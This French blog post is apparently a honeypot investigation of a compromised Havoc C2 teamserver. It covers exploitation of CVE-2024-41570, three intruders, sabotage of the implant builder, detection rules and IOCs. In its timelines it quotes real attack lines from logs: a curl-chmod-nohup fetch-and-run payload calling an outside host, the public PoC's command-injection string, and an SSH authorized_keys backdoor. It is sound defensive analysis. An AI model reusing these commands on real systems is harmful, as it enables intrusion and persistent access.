Tout y est, dans l’ordre. La tentative rejetée à 12:24:13, la réussite une seconde plus tard, l’identité fabriquée de toutes pièces, les paramètres de veille absurdes, et la ligne qui signe l’exploitation : No Aes Key specified.
14:13:29. Deux heures plus tard, un opérateur que j’appellerai A2 se connecte au port 40056. Son IP source est du même prestataire (M247/Mullvad) que celle déclarée par le faux Demon deux heures plus tôt, ce qui rattache probablement l’enregistrement au même acteur. Il y restera 4 jours et 7 heures, en seulement trois sessions TCP dont une de 32 heures.
Acte II : vingt-quatre secondes (20 janvier)#
Trois jours plus tard, quelqu’un d’autre passe. Tout est daté à la seconde par recoupement entre la capture réseau, auditd et le journal applicatif :
03:05:53 103[.]127[.]218[.]229 ouvre une connexion TLS sur le port 40056
03:05:54 [GOOD] User <Neo> Authenticated ← identifiants par défaut
03:05:55 Service Name: $(curl … ; chmod 777 … ; nohup … &)
03:05:57 Premier battement vers microsoft[.]azuredevtools[.]comIl se passe moins de deux secondes entre l’authentification et l’exécution de code, l’exploitation est donc scriptée ici. Son empreinte JA3 le confirme : 8e1cb226, 91 suites de chiffrement, un profil beaucoup plus large que celui d’un navigateur (une quinzaine à trente en général), cohérent avec un outil utilisant OpenSSL sans personnalisation. Cette empreinte est unique sur les 4,17 millions de paquets analysés.
La charge complète, telle que le teamserver l’a lui-même journalisée :
$(curl -v -k http://132[.]145[.]17[.]167:9090/K7iSiFCfpG/cache3 -o /tmp/cache2;
chmod 777 /tmp/cache2;
nohup /tmp/cache2 > /dev/null 2>&1 &)On notera que ce n’est pas la forme " -mbla; CMD 1>&2 && false # du PoC : ici, une substitution de commande $(…), sans échappement de guillemet et sans récupération de la sortie. L’acteur ne cherche pas un pseudo-shell interactif, il veut juste déposer sa charge et partir.

La ligne PatchConfig du builder, brute. La charge de l’attaquant y côtoie les paramètres légitimes du payload et deux lignes plus bas, le teamserver journalise sa propre adresse publique.
Le fichier est servi par une instance Transfer.sh auto-hébergée sur Oracle Cloud (Server: Transfer.sh HTTP Server, X-Made-With: <3 by DutchCoders) : un ELF64 statique de 2,6 Mo, packé UPX.
03:06:18, déconnexion. Présence totale de A1 sur l’infrastructure : 24 secondes.
L’implant, lui, s’installe dans la durée : une connexion sortante toutes les 11,7 secondes, soit 154 par demi-heure en moyenne, sans interruption sur les 42 heures couvertes par la capture, soit 12 950 sessions TLS vers microsoft[.]azuredevtools[.]com. Un nouvel exemple de masquerading. L’attaquant continuera d’exploiter des domaines semblables à ceux de Microsoft avec defender[.]en-us[.]vip par la suite.

Sur 42 heures, la cadence ne bouge pas. Le seul écart notable est le pic du 21 janvier à 11:00, la relance de l’implant par A2, qui n’ajoute que 11 connexions là où une seconde instance en aurait produit une cinquantaine.
Acte III : le sabotage (21 janvier, 11h06 → 11h21)#
Le lendemain matin, A2 (connecté depuis le 17) passe à l’action. Quinze minutes, une seule session, deux objectifs.
11:06:14 → 11:11:07. Il crée payloads/Demon/src/core/Transports.c (3 487 octets) et payloads/Demon/include/core/Transports.h (83 octets), puis modifie src/Demon.c : un #include ligne 9, un appel DemonEx() ligne 49.
Ce sont les mêmes fichiers et le même schéma que sur mon premier lab. Seule l’URL de téléchargement change : ici, defender[.]en-us[.]vip/static/update.zip. Les sept commentaires // Step N numérotés sont là aussi, ce qui laisse supposer qu’il s’agit très certainement du même attaquant.
Les mtime et ctime de ces trois fichiers sont identiques à la seconde. Or un touch pour antidater ne modifie que le mtime : les deux divergeraient. L’attaquant n’a donc pas tenté de masquer la date de création de ses fichiers, du moins pas par cette méthode.
11:12:43 → 11:21:24. Puis A2 liste /tmp, y trouve le cache2 déposé la veille par A1, et le manipule :
11:14:27 mv /tmp/cache2 /usr/sbin/dbus-udevd → échec (uid 1000)
11:15:49 sudo mv … → échec
11:16:25 id ← constate ses privilèges
11:17:23 mv /tmp/cache2 /tmp/.font-unix/cache ← repli
11:21:02 nohup /tmp/.font-unix/vmtoolsd ← relance
11:21:24 rm -f /tmp/cache2 ← effacementC’est ici que le compte non privilégié fait son travail : l’installation en /usr/sbin échoue deux fois, et l’attaquant est contraint au repli vers /tmp. Trois masquages successifs, par discrétion croissante : dbus-udevd (faux démon système), /tmp/.font-unix/ (répertoire X11 légitime détourné), vmtoolsd (faux VMware Tools).
Ce qu’il cherchait à en faire reste opaque : le binaire, dont la configuration C2 est codée en dur, continuait de baliser vers l’infrastructure de A1 quoi qu’il arrive. Le seul fait certain, c’est que A2 ignorait qu’il tournait déjà. La preuve est directe : le processus 131318 rapportait exe=/tmp/cache2 ; douze secondes après le mv, le même PID rapporte un chemin différent. A2 a renommé le binaire sous les pieds du processus en cours d’exécution, qui a survécu et continué à beaconer. La cadence n’a jamais varié : 154 connexions par demi-heure, avant comme après. Un nohup supplémentaire l’aurait doublée.
L’implant mourra le soir même, à 22:09, avec le redémarrage de la machine. Le processus lancé par A1 aura tourné 43 heures ; la copie relancée par A2 sous le nom vmtoolsd, seulement 10 h 48. Le sabotage du builder, lui, survivra.
Acte IV : le retour méthodique (27 janvier)#
Six jours plus tard, 5pider, présent en pointillé depuis le 22 janvier, sans avoir rien fait de plus qu’interroger le faux Demon, passe à l’action.
10:36:30 [GOOD] User <5pider> Authenticated
10:36:32 Service Name: \" -mbla; id 1>&2 && false #
10:36:34 … whoami …
10:36:36 … ip a …
10:37:15 … curl ipinfo.io …
10:37:26 … lscpu …Cette fois, c’est bien la forme du PoC public. Et ça fonctionne parfaitement : la sortie du lscpu figure telle quelle dans le journal du teamserver (Core(s) per socket: 4), ramenée par le mécanisme de renvoi de stderr décrit plus haut. 96 injections seront lancées en une demi-heure.
Puis, en dix-neuf minutes, A3 fait ce qu’aucun des deux autres n’avait fait, à savoir préparer un accès de repli :
10:39:50 cat ~/.ssh/id_rsa → échec, le fichier n'existe pas
10:40:46 cat ~/.ssh/known_hosts → cartographie des rebonds
10:54:48 dépôt d'une clé publique
10:58:41 installation dans ~/.ssh/authorized_keys
10:59:12 première connexion SSH, 31 secondes plus tardUne clé ssh-rsa 3072 bits, commentaire kali@kali, empreinte SHA256:R9C3ApIi4HciQ8t1Ba1zV5HQPdOixdyEI1YA2v8gq0g. Huit connexions SSH sur 24 jours, depuis quatre adresses, jusqu’au 19 février.
C’est la seule persistance qui aura survécu au redémarrage du 21 janvier.
Épilogue : les parasites s’inspectent entre eux#
Le faux Demon 32d94782, enregistré le 17 janvier par l’exploitation de la SSRF, apparaît dans le panneau Havoc comme n’importe quel autre agent. A3 est tombé dessus :
[22/01 15:49:16] [User: 5pider] Demon => pwd ← aucune réponse
[31/01 15:36:30] [User: 5pider] Demon => pwd ← aucune réponseDeux fois, à neuf jours d’intervalle, il a essayé de faire parler un leurre déposé par son prédécesseur, sans supposer de quoi il s’agissait.
Trois acteurs, un tableau#
Pour la clarté du récit, je nomme A1 l’auteur de l’exploit du 20 janvier, A2 celui du sabotage du 21, et A3 celui de la phase active du 27. La question de savoir si ces trois désignations recouvrent trois personnes distinctes est discutée plus bas.
| A1 | A2 | A3 | |
|---|---|---|---|
| Présence | 20/01, 24 secondes | 17→21/01, 4 j 07 h | 22/01→19/02, 29 jours |
| Canal | TLS 40056 | TLS 40056 | SSH par clé |
| Compte | Neo | Neo | 5pider |
| Outillage | script (JA3 unique) | client Havoc officiel | injections + SSH |
| Forme d’injection | $(…) substitution | — | -mbla option |
Jitter | 15 (défaut, inchangé) | — | 0 (modifié) |
| Fait marquant | dépose l’implant, repart | sabote le builder | backdoor SSH |

Trois éléments rendent probable que A1 et A2 soient des acteurs distincts :
- Antériorité : A2 est présent 2 jours et 13 heures avant A1.
- Coprésence : à 03:05:54 le 20/01, la session TCP de A2 depuis
146.70.202.106est active depuis presque trois jours et échange 917 paquets dans l’heure entourant l’authentification de A1. Deux connexions IP distinctes vers le port 40056, deux authentifications sous le compteNeo, au même instant. - Empreintes TLS incompatibles : celle de A1 (script) est unique sur l’ensemble du volume capturé, celle de A2 est stable et cohérente avec le client Havoc officiel.
Aucun de ces éléments n’est décisif. Un même acteur pourrait avoir laissé un client GUI ouvert et lancé un exploit automatisé depuis une autre IP, pour cloisonner ou pour réutiliser un outil déjà écrit. Le comportement de A1, 24 secondes puis départ sans reconnaissance ni post-exploitation, évoque plutôt un bot de scan opportuniste qu’un opérateur revenant à la main, mais ce n’est qu’un profil. Il n’est donc pas impossible que A1 et A2 soient le même attaquant.
Pour A3 en revanche, rien ne permet ni d’affirmer ni de réfuter qu’il est distinct de A2.
Un dernier indice, plus faible cette fois : aucune des connexions 5pider n’a été précédée du Failed upgrading request qu’on observe parfois pour Neo. Ce préflight avorté trahit un client qui teste la connectivité HTTP avant de basculer en WebSocket, un comportement qu’aucun script minimaliste ne prend la peine d’imiter. Ce n’est pas une preuve, mais c’est un motif de plus.
La chaîne d’approvisionnement, chiffrée#
Du 22 janvier au 17 février, toutes les compilations observées incluent src/core/Transports.c. Chaque Demon généré pendant cette fenêtre embarquait donc le loader.
La bascule se lit dans les lignes de commande passées à MinGW, que le teamserver journalise intégralement. Entre la compilation du 18 janvier à 09:35:05 et celle du 22 janvier à 09:43:34, une seule différence :
src/core/Thread.c
src/core/Token.c
src/core/Transport.c
src/core/TransportHttp.c
src/core/TransportSmb.c
+ src/core/Transports.c
src/core/Win32.c
src/crypt/AesCrypt.c
Une ligne sur trente, glissée à sa place alphabétique au milieu de la famille Transport*. Sur une commande qui aligne trente sources et une vingtaine d’options, rien n’accroche l’œil.
L’effet de levier est là : compromettre un serveur pour atteindre toutes les futures victimes de l’opérateur, sans jamais les cibler. À noter également, deux infrastructures C2 distinctes cohabitent : microsoft[.]azuredevtools[.]com pour l’implant Linux du teamserver, defender[.]en-us[.]vip pour les agents Windows livrés en aval. La seconde n’apparaît jamais dans les captures réseau : elle ne s’active que chez les victimes.

Seul l’implant Linux du teamserver balise dans la capture. Les agents Windows codés en dur vers defender[.]en-us[.]vip ne s’activent que chez leurs futures victimes, jamais sur le honeypot.
Ce que les sondes n’ont pas vu#
C’est le constat le plus embêtant de toute l’analyse. Le sabotage du builder, l’acte à l’impact le plus durable de l’affaire, n’a été détecté par aucune des sondes déployées. Et pour deux raisons indépendantes :
| Sonde | Cause |
|---|---|
| Snoopy | Par nature. Il journalise les execve, pas les write(). Écrire un fichier depuis un processus déjà lancé ne crée aucun processus |
auditd, règle havoc_file_changes | Par erreur. La règle existait dans /etc/audit/rules.d/ depuis le 16/01, mais n’a été effectivement chargée que le 21/01, soit plusieurs heures après la fin de la compromission |
La CVE-2024-41570 est triviale à détecter côté serveur#
C’est, je crois, l’apport le plus utile de cette investigation. La littérature documente bien la détection côté réseau (empreinte 0xDEADBEEF du protocole, silhouette des paquets) et par le certificat TLS auto-signé. La détection par les journaux du teamserver lui-même, en revanche, ne semble pas avoir été formalisée.
Or l’enregistrement frauduleux du 17 janvier portait, en clair, dans un journal applicatif légitime, deux anomalies qu’aucun agent réel ne peut produire :
No Aes Key specified ← une clé absente est anormale par construction
SleepJitter: 299 ← un jitter est un pourcentage, donc ≤ 100Une simple règle de corrélation sur ces deux champs aurait détecté l’exploitation le jour même, sans outil supplémentaire. À quoi s’ajoutent l’identité entièrement aléatoire et un SleepDelay de 20,8 heures.
Plus généralement, voici ce que je mettrais en place sur un teamserver, par ordre de rendement :
| Priorité | Règle | Source |
|---|---|---|
| 1 | Enregistrement d’agent sans clé de chiffrement, ou avec jitter > 100 | Journal applicatif du C2 |
| 2 | Modification de ~/.ssh/authorized_keys | FIM / auditd |
| 3 | Modification d’un fichier sous le répertoire de build | FIM avec hash de référence |
| 4 | Connexions sortantes à cadence fixe (écart-type < 2 s) vers une destination unique | Flux réseau |
| 5 | nohup d’un binaire situé dans /tmp avec tty=none | auditd / Snoopy |
| 6 | Processus nommé vmtoolsd, dbus-udevd hors de son chemin attendu | auditd |
Limites de l’analyse#
Par honnêteté méthodologique, deux réserves :
- Couverture réseau partielle. Les captures ne couvrent que le 17 au 21 janvier, soit environ 9 % de la période d’exposition. Tout ce qui suit repose sur les seuls journaux.
- Perte d’événements. La file de l’agent Wazuh a saturé pendant l’exploitation initiale (20/01, quatre épisodes entre 03:06:38 et 03:09:56). Des commandes de A1 ont pu disparaître dans cet intervalle d’environ 3 min 20.
IOC du honeypot#
Ces indicateurs ont plus d’un an. Je ne les publie donc pas pour alimenter une liste d’IOC à surveiller. Les adresses relèvent de VPN commerciaux, de Tor ou de Cloudflare, et ont certainement changé de main depuis longtemps.
Deux réserves avant d’entrer dans le détail. L’adresse 146[.]70[.]116[.]227 provient du champ ExternIP du faux Demon, c’est-à-dire d’une valeur que l’agent déclare lui-même : falsifiable par construction. Le hash des charges déposées sur le teamserver a été perdu, c’est pourquoi elles ne figurent pas dans cette partie.
Ce qui garde une certaine valeur#
La clé SSH, d’abord. La clé publique se réutilise d’une campagne à l’autre bien plus volontiers qu’une adresse IP : si celle-ci réapparaît dans un authorized_keys, c’est le même acteur.
Clé SSH : ssh-rsa 3072 bits, commentaire kali@kali
Empreinte : SHA256:R9C3ApIi4HciQ8t1Ba1zV5HQPdOixdyEI1YA2v8gq0g
Installée : 2025-01-27 10:58:41 UTC dans ~/.ssh/authorized_keysLe JA3 sortant de l’implant, 2ee8bc39bdba32330d82af4aa8eb0a4a. Il tient tant que le binaire n’est pas recompilé, et surtout il détecte l’implant sans dépendre du domaine C2, qui peut changer du jour au lendemain.
Les hashs du code de sabotage, enfin. Ils identifient le code lui-même, pas l’infrastructure : si le même acteur le réemploie ailleurs, ils correspondront.
| Chemin | SHA256 | Taille |
|---|---|---|
payloads/Demon/src/core/Transports.c | 8b8aeebfbcf2211c522b06c69ec3955309bdc744b0b5083864f07d9e2f8ac115 | 3 487 |
payloads/Demon/include/core/Transports.h | 3fe7fc9d2c48d1cf09940340e7585668834483f6ebf3dfc7a65d5d5ab05fbbe5 | 83 |
payloads/Demon/src/Demon.c (modifié) | c798ff9093fce70d46a010c1c875566d2b928957e9dcb9f3948f3281685da567 | 40 387 |
payloads/Demon/id_rsa (clé publique déposée) | cd38e29b41a68528144dbe80ada118223c33dd69a73659f36e5360e57040b8ef | 563 |
Pour rétro-hunt : l’infrastructure de janvier - février 2025#
Ces valeurs n’ont plus d’usage en surveillance. Elles servent à qui conserve des journaux DNS, du netflow ou des logs proxy de cette période.
| Type | Valeur | Contexte |
|---|---|---|
| Domaine | microsoft[.]azuredevtools[.]com | C2 de l’implant Linux sur le teamserver (12 950 sessions TLS) Lien VT |
| Domaine | defender[.]en-us[.]vip | C2 des agents Windows livrés en aval, codé en dur dans Transports.c Lien VT |
| URL | https://defender[.]en-us[.]vip/static/update.zip | Charge Windows |
| URL | http://132[.]145[.]17[.]167:9090/K7iSiFCfpG/cache3 | Charge Linux - instance Transfer.sh auto-hébergée sur Oracle Cloud |
| IP | 103[.]127[.]218[.]229 | A1, 20/01 |
| IP | 146[.]70[.]202[.]106 | A2, 17→21/01 |
| IP | 95[.]153[.]31[.]119, 196[.]240[.]54[.]115, 196[.]240[.]54[.]121, 196[.]240[.]54[.]122 | A3, 22/01→19/02 (connexions SSH à partir du 27/01) |
| JA3 | Attribution |
|---|---|
8e1cb226cc0cc53d6ef633206530004a | A1 - 91 suites, cohérent avec un outil utilisant OpenSSL sans personnalisation |
c12b4ccd5320bbb380ca1a9df90f771d | A2 - stable sur les trois sessions |
| Chemin d’implant | Statut |
|---|---|
/tmp/cache2 | Charge initiale, effacée le 21/01 |
/tmp/.font-unix/cache → /tmp/.font-unix/vmtoolsd | Relocalisation puis nom final, détruit au redémarrage |
/usr/sbin/dbus-udevd | Installation tentée et échouée |
Ce qui a été écarté#
Trois précisions, pour éviter de mélanger les indicateurs :
- Le domaine
torproject[.]cloudde la première partie de cet article est absent de l’intégralité du disque et des captures du honeypot. Les deux cas ne partagent ni domaine, ni charge utile, ni empreinte. - Le
COMMAND_SOCKETde la SSRF n’a laissé aucune trace. Seul l’enregistrement du faux Demon est prouvé. - La tentative de vol de clé SSH privée par A3 a échoué : le fichier n’existait pas.
Six semaines d’exposition, trois présences indépendantes. A1 n’est qu’un point de 24 secondes le 20 janvier. A2 occupe le serveur quatre jours et le sabote le 21. A3 revient huit fois par SSH sur 24 jours.
Conclusion#
Ce qu’il faut retenir#
Cette mésaventure met en lumière une ironie fréquente : les outils conçus pour compromettre des systèmes peuvent eux-mêmes devenir des cibles vulnérables. Lorsqu’un serveur central sert à générer des implants déployés chez des tiers, une seule compromission suffit à transformer l’ensemble de l’infrastructure offensive en relais de distribution pour un attaquant opportuniste.
Dans ce cas précis, la chaîne d’attaque était directe :
- Un teamserver exposé publiquement sans redirecteur.
- Des identifiants par défaut conservés sans modification.
- Une vulnérabilité d’injection de commande documentée avec un PoC public.
Le résultat ne s’est pas fait attendre : chaque binaire compilé par le serveur embarquait silencieusement un Donut Loader exécutant un agent Apollo pour le compte d’un tiers. Une véritable démonstration de parasitisme d’infrastructure.
L’expérience du honeypot a d’ailleurs révélé que cette cohabitation forcée n’a rien d’exceptionnel. Laissée en ligne durant six semaines, l’infrastructure a vu défiler trois acteurs distincts qui s’ignoraient totalement. Le second a manipulé la charge déposée par le premier sans savoir qu’elle tournait déjà, la renommant en cours d’exécution. Le troisième a tenté d’interroger un leurre abandonné par le second, sans jamais obtenir de réponse.
L’impact le plus critique reste l’empoisonnement direct du générateur d’agents, qui corrompait systématiquement chaque futur payload produit par la machine.
Recommandations#
- Changer les identifiants par défaut. Cela peut sembler évident, mais c’est précisément ce qui rend la RCE authentifiée triviale, et le chaînage SSRF → RCE entièrement automatisable. La configuration par défaut de Havoc crée deux comptes avec le mot de passe
password1234, et rien dans la documentation n’invite explicitement à les modifier. - Ne pas complètement exposer un serveur sur Internet. Placer un redirecteur ou un VPN devant le panel d’administration réduit considérablement la surface d’attaque, tout comme n’exposer que les ports nécessaire au fonctionnement du projet.
- Vérifier régulièrement l’intégrité du code source. Une fois le déploiement initial effectué, un simple hash des fichiers critiques ou un
git diffpériodique permet de repérer toute altération du code de génération des agents.builder.goet le répertoire des templates de compilation sont les cibles à surveiller en priorité. Un contrôle automatisé, via un cron couplé à une alerte, constitue un filet de sécurité minimal. - Surveiller le teamserver comme n’importe quel autre serveur. Journalisation système renforcée (audit des processus, des commandes exécutées), supervision réseau, alerting : rien de spécifique à l’outil, mais tout aussi indispensable.
- Suivre les vulnérabilités publiées sur les outils utilisés. Les CVE touchant les frameworks C2 restent rares dans la littérature, mais elles existent bel et bien.
Plus largement#
Havoc n’est pas un cas isolé. L’article d’Include Security documente des vulnérabilités similaires, RCE authentifiées ou non, dans Sliver, Covenant, Ninja et SHAD0W. Les teamservers sont des pièces critiques : ils compilent du code, gèrent des connexions issues de réseaux hostiles et prennent en charge l’authentification, le tout dans des projets souvent maintenus sur le temps libre de leurs développeurs.
Ce genre de parasitisme ne relève d’ailleurs pas seulement de l’opportunisme. Le groupe Turla, attribué au FSB, en a fait une pratique documentée : exploitation des backdoors d’APT34/OilRig dès 2019, réenregistrement de domaines Andromeda expirés pour cibler l’Ukraine en 2022-2023, infiltration de l’infrastructure C2 du groupe pakistanais Storm-0156 entre 2022 et 2024 afin d’accéder à des réseaux gouvernementaux afghans et indiens. Microsoft a même qualifié cette approche de “composante intentionnelle” de leurs tactiques. Le parallèle avec ce qu’on a observé sur notre teamserver, à une échelle évidemment bien différente, est frappant.
Si cette lecture vous donne envie de monter votre propre lab pour étudier le comportement des frameworks C2, foncez : c’est un exercice super intéressant ! A condition de le mener dans un environnement contrôlé ! Et surtout, pensez à changer les mots de passe par défaut ;)
Crédit photo d’illustration: Moi :3
Merci Flaticon pour ces ainsi que ces icones, crées par Magnific - Flaticon !



